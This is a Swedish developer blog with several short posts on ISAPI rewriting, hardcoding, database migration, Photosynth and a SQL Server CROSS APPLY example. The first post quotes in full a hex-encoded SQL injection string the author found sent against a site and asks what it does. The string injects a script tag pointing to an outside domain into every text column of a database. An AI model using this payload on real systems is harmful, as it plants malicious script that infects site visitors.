Fick just in följande sträng mot en parameter på en sajt, nån som orkar lista ut vad den är tänkt att ställa till med?
;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S)
Sökte på den på Google och fick en hel del träffar. Intressant att om man klickar på Cachad på någon av dem spärrar G bort och visar förstsidan istället. Undrar ifall jag kommer bli blockad för att jag postade den här...
Skrev en beskrivning om hur man gör ISAPI Rewrite 3 på Bineros servrar och tyvärr innehåll denna några fel. Så om någon har provat beskrivningen utan lycka så kan jag rekommendera att kolla in ändringarna på den länken och så kommer det nog gå mycket bättre.
ISAPI-reglerna ska bland annat ligga i en fil vid namnet .htaccess och inte httpd.ini som jag skrev först.
Den israeliska Kodaren Ayende skrev för ett tag sen några intressanta inlägg där han framhöll att hårdkoda är det bästa sättet för att skapa lättföränderliga system. Stick och stäv mot de flesta programmerares uppfattning med andra ord. Och antagligen var han ute för att provocera en del och han lyckades reta upp rätt många utvecklare. Läs på Wikipedia om du vill veta mer om begreppet att hårdkoda.
Hur som helst blev en intressant omväxling kommentarer till inläggen och han förklarade mer hur han menade att för mycket konfigurering i system lätt kan leda till pannkaka. Kände mig lite träffad inte minst för att jag har just ett databasfält i en webbapp som heter likande som i hans exempel ("random_number") och insåg att konfigurering av onödiga värden lätt kan gå till överdrift.
Ayende berättar att han nyligen genomfört ett större projekt där han hårdkodade allt i små ddl:er och han tyckte det fungerade alldeles utmärkt. Fördelen menar han är att ju mindre värden som affärsfolket som ska använda systemet kan ändra desto bättre och mindre risk för att de matar in galna värden som är inkompatibla med varandra.
Sen är det ju ofta admin-interfacen som är det krävande jobbet när man bygger upp ett system. Ju minde värden kunden ska kunna ändra desto lättare går det ju att bygga färdigt systemet. Mycket jobb går annart till för att validerar input för vad nu användaren kan få för sig att trycka in i systemet.
Läs även det sista inlägget i hans "hårdkodar-serie" där han pratar om att när ett system skalar upp och fler regler läggs på så blir blir det ohållbart att ha för mycket konfigurerbara värden.
Intressant helt klart och något att tänkta på när man bygger system. Hårdkoda mera.
Mikroblogg-tjänsten Jaiku har under helgen varit nere för underhåll. Det har spekulerats ifall Google (som köpt tjänsten) håller på att flyttade den till deras Google App Engine och det verkar vara fallet. Jaikuinvites har kört en tracert som tyder på det i alla fall.
N borde det inte dröja länge innan de öppnar tjänsten för alla att registrera sig. Antagligen kommer de öven att koppla in den mot det vanliga google kontot/Gmail.
Hoppas nu bara att de drar igång på måndag igen, för det är ganska trist utan tjänsten som man börjat uppskatta mycket. Har blivit en del Twittrande istället för att kompensera.
När man utvecklar en webbapplikation (eller andra typer av program för den delen också) så är det ofta en stor utmaning att hålla strukturen på databaserna likadan. Man gör ändringar i sin orginalmodell och försöker ändra alla de databaser som är i drift enligt bästa förmåga. Hittills har jag inte haft något speciellt bra sätt att göra detta på utan det slutar ofta med felsökning steg för steg och ändra databasen manuellt. Tänkte här skriva om några sätt som kan förenkla detta jobb.
Lägga in databasskripten i källkodsprojektet
Ett sätt är att skripta ut hela databasen och sedan inkludera skripten i källkodsprojektet som Coding Horror förklarar. Inte helt på det klara om detta kan hjälpa en för att uppdatera befintliga databaser, men att ha strukturen i kod är ju ett bra första steg.
Använda sig av databas-migrering
Detta är ett koncept som funnits länge i Ruby On Rails-världen och innebär att varje förändring i databasen sparar i uppdateringsskript som man kan köra på sina databaser.
Subsonic-teamet har nyligen inspirerats av Rails och lagt in liknande Migrations-funktionalitet i Subsonic. Har provat detta lite under sommaren och även fast det är väldigt ny teknik så verkar det fungera mycket bra.
Program för att Jämnföra databasscheman
Detta sätt tycker jag är det mest bekväma och innebär minst jobb. Man utgår helt enkels från sin orginalstruktur för databasen och jämför denna med de databaser som ska uppgraderas.
Denna funktionallitet finns i Visual Studio men bara i team-edition så den har jag inte testat själv. Verkar fungera fint och jag kan rekommendera läsning hos Emad Ibrahim som har provat på det.
Det smidigaste programmet som jag har provat är dock utan tvekan Redgate SQL Compare. Att jämföra två databaser går på nån minut och man får sedan SQL Skript redo att köra på den databas som ska uppgraderas. Har bara provat testversionen men funderar skarpt på att göra en investering i en licens.
Om du har några erfarenheter om hur man kan göra version-hantering av databaser lättare, så uppskattas kommentarer.
För tillfället går tjänsten bara att använda med Internet Explorer och Microsoft meddelar att det inte går att köra på Mac. Teamet bakom viritualiseringsmotorn VMware Fusion bevisade dock under dagen att de har fel och det kan jag också bekräffa.
Man behöver ha ett MS-passportkonto när man anmäler sig och processen gick snabbt och lätt. Testkörde en synth som ni kan se en screenshot på här ovan. Det är nästa omöjligt att visa hur det fungerar på en vanlig bild hur häftigt det är, så jag rekommenderar att ni besöker sajten själva för att verkligen se vad det handlar om. Bilderna man laddar upp fogas alltså tillsammans där de överlappar och programmet bygger upp en 3D-modell på det man fotat. Man kan sedan flyga runt i modellen med hjälp av tangenterna som i ett "first-person-shooter"-spel eller arrangera dem sida vid sida och annat skoj. Ett slagt superpanorama kan man säga.
Det gäller att alla bilderna i sin samling hänger ihop med tillräckligt många detaljer för att tjänsten ska kunna skapa en fullständig sammanfogning. I mitt fall så blev de tre fristående "öar" av bilder och den kunde bara sammanfoga samlingen till 56%. Jag använde bilder på ett träd och den fattade inte riktigt att jag hade bilder från olika håll av samma objekt. Men ändå är resultatet förbluffande häftigt även när jag bara slängde upp den första grupp bilder jag hade i fotoalbumet. Tänk då vad man kan skapa om man lägger ner lite jobb på att förbereda bilderna och ta foton särskilt för detta ändamål.
Många har trott att själva processen att skapa 3D-miljöerna skulle ta väldigt lång tid, men jag tyckte det gick väldigt snabbt med de bilder jag testkörde med. Det som tog tid var själva uppladdningen till sajten och det kan man ju förstå, speciellt eftersom jag hade med några tunga rackare i mappen.
Photosynth är verkligen en höjdartjänst som jag vet att jag kommer ha mycket kul med. Riktigt roligt att den äntligen är igång.
Code Swarm är ett öppen källkods-projekt som kan laddas ner på code base Google. Det använder sig av visualiseringsmotorn Processing för att skapa animationerna
Ett litet tips från ett gammalt inlägg på Coding Horror, som visar hur man använder CTRL+I för att göra ökningsbar sökning i Visual Studio.
Hade jag själv ingen aning om att man kunde göra och känns väldigt användbart för att texter snabbt. Bra att ha när ens medarbetare gömmer koden i #regions till exempel.
APPLY (msdn) är ett nytt SQL-kommando i SQL Server från och med version 2005 och finns i två olika varianter, CROSS APPLY och OUTER APPLY.
Kan inte säga att jag förstått dessa funktionerna helt, men jag har hittat ett bra användningsområde för CROSS APPLY. Nämligen att kunna bygga upp VIEWs med data från en relationstabell och sammanfoga dessa i en ny kolumn separerade med valfritt tecken. Detta kallas tydligen "aggregate concatenation".
Läste även att denna metod går emot huvudideén för hur en relationsdatabas är tänkt att fungera, så har du ett behov att göra såna här SQL-frågor kan det vara snart att tänka om ifall det går att göra på ett bättre sätt. Eller kanske hämta ut datan separat och bygga ihop vyn i buisness-lagret.
Kommer här visa hur det kan fungera genom ett exempel, här först databasdiagrammet.
Sen ett skript (skapat med SubSonic) som bygger upp hela databasen:
SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[Products]') AND type in (N'U')) BEGIN CREATE TABLE [dbo].[Products]( [Id] [int] IDENTITY(1,1) NOT NULL, [ProductName] [nvarchar](150) COLLATE Finnish_Swedish_CI_AS NULL, CONSTRAINT [PK_Products] PRIMARY KEY CLUSTERED ( [Id] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] END /****** Object: Table [dbo].[Colors] Script Date: 07/07/2008 16:58:21 ******/ SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[Colors]') AND type in (N'U')) BEGIN CREATE TABLE [dbo].[Colors]( [Id] [int] IDENTITY(1,1) NOT NULL, [ColorName] [nvarchar](150) COLLATE Finnish_Swedish_CI_AS NULL, CONSTRAINT [PK_Colors] PRIMARY KEY CLUSTERED ( [Id] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] END /****** Object: Table [dbo].[ProductColor] Script Date: 07/07/2008 16:58:21 ******/ SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[ProductColor]') AND type in (N'U')) BEGIN CREATE TABLE [dbo].[ProductColor]( [ProductId] [int] NOT NULL, [ColorId] [int] NOT NULL, CONSTRAINT [PK_ProductColor] PRIMARY KEY CLUSTERED ( [ProductId] ASC, [ColorId] ASC )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY] ) ON [PRIMARY] END /****** Object: View [dbo].[ListOfColorsView] Script Date: 07/07/2008 16:58:21 ******/ SET ANSI_NULLS ON SET QUOTED_IDENTIFIER ON IF NOT EXISTS (SELECT * FROM sys.views WHERE object_id = OBJECT_ID(N'[dbo].[ListOfColorsView]')) EXEC dbo.sp_executesql @statement = N'CREATE VIEW dbo.ListOfColorsView AS SELECT DISTINCT ProductName, ListOfColors = LEFT(o.list, LEN(o.list) - 1) FROM Products CROSS APPLY (SELECT CONVERT(VARCHAR(12), ColorName) + '','' AS [text()] FROM dbo.Colors c INNER JOIN dbo.ProductColor ON c.Id = dbo.ProductColor.ColorId WHERE (dbo.ProductColor.ProductId = dbo.Products.Id) ORDER BY c.ColorName FOR XML PATH('''')) o(list) ' IF NOT EXISTS (SELECT * FROM sys.foreign_keys WHERE object_id = OBJECT_ID(N'[dbo].[FK_ProductColor_Colors]') AND parent_object_id = OBJECT_ID(N'[dbo].[ProductColor]')) ALTER TABLE [dbo].[ProductColor] WITH CHECK ADD CONSTRAINT [FK_ProductColor_Colors] FOREIGN KEY([ColorId]) REFERENCES [Colors] ([Id]) ALTER TABLE [dbo].[ProductColor] CHECK CONSTRAINT [FK_ProductColor_Colors] IF NOT EXISTS (SELECT * FROM sys.foreign_keys WHERE object_id = OBJECT_ID(N'[dbo].[FK_ProductColor_Products]') AND parent_object_id = OBJECT_ID(N'[dbo].[ProductColor]')) ALTER TABLE [dbo].[ProductColor] WITH CHECK ADD CONSTRAINT [FK_ProductColor_Products] FOREIGN KEY([ProductId]) REFERENCES [Products] ([Id]) ALTER TABLE [dbo].[ProductColor] CHECK CONSTRAINT [FK_ProductColor_Products]
Och lite testdata:
ALTER TABLE [Colors] NOCHECK CONSTRAINT ALL GO ALTER TABLE [Colors] DISABLE TRIGGER ALL GO
SET IDENTITY_INSERT [Colors] ON PRINT 'Begin inserting data in Colors' INSERT INTO [Colors] ([Id], [ColorName]) VALUES(1, 'Red') INSERT INTO [Colors] ([Id], [ColorName]) VALUES(2, 'Blue') INSERT INTO [Colors] ([Id], [ColorName]) VALUES(3, 'Green') SET IDENTITY_INSERT [Colors] OFF ALTER TABLE [Colors] CHECK CONSTRAINT ALL GO
ALTER TABLE [Colors] ENABLE TRIGGER ALL GO
ALTER TABLE [Products] NOCHECK CONSTRAINT ALL GO ALTER TABLE [Products] DISABLE TRIGGER ALL GO
SET IDENTITY_INSERT [Products] ON PRINT 'Begin inserting data in Products' INSERT INTO [Products] ([Id], [ProductName]) VALUES(1, 'Test product 1') INSERT INTO [Products] ([Id], [ProductName]) VALUES(2, 'Test product 2 - No Colors') SET IDENTITY_INSERT [Products] OFF ALTER TABLE [Products] CHECK CONSTRAINT ALL GO
ALTER TABLE [Products] ENABLE TRIGGER ALL GO
ALTER TABLE [ProductColor] NOCHECK CONSTRAINT ALL GO ALTER TABLE [ProductColor] DISABLE TRIGGER ALL GO
PRINT 'Begin inserting data in ProductColor' INSERT INTO [ProductColor] ([ProductId], [ColorId]) VALUES(1, 1) INSERT INTO [ProductColor] ([ProductId], [ColorId]) VALUES(1, 2) INSERT INTO [ProductColor] ([ProductId], [ColorId]) VALUES(1, 3) ALTER TABLE [ProductColor] CHECK CONSTRAINT ALL GO
ALTER TABLE [ProductColor] ENABLE TRIGGER ALL GO
Det mest intressanta är ju själva vyn som separerar datan från relationstabellen med ett kommatecken mellan varje värde.
SELECT DISTINCT ProductName, ListOfColors = LEFT(o.list, LEN(o.list) - 1) FROM Products CROSS APPLY (SELECT CONVERT(VARCHAR(12), ColorName) + ',' AS [text()] FROM dbo.Colors c INNER JOIN dbo.ProductColor ON c.Id = dbo.ProductColor.ColorId WHERE (dbo.ProductColor.ProductId = dbo.Products.Id) ORDER BY c.ColorName FOR XML PATH('')) o(list)
Svaret från denna vyn ser ut så här:
Test product 1 Blue,Green,Red Test product 2 - No Colors NULL
Den här har nog redan gått några virala varv runt "the intertubes" men har du inte sett den rekommenderas den starkt. Varning för stundvis omogen humor och dåligt språk, men den är i många delar helt klockren. Vi har haft rätt mycket kul åt den här på kontoret och har svårt att oss på själva på allvar längre. Om vi nu någonsin har gjort det ;)
Orginalet finns på thewebsiteisdown.com och har på den senaste veckan blivit så populär så att själva sajten har krashat några gånger (ödets ironi...)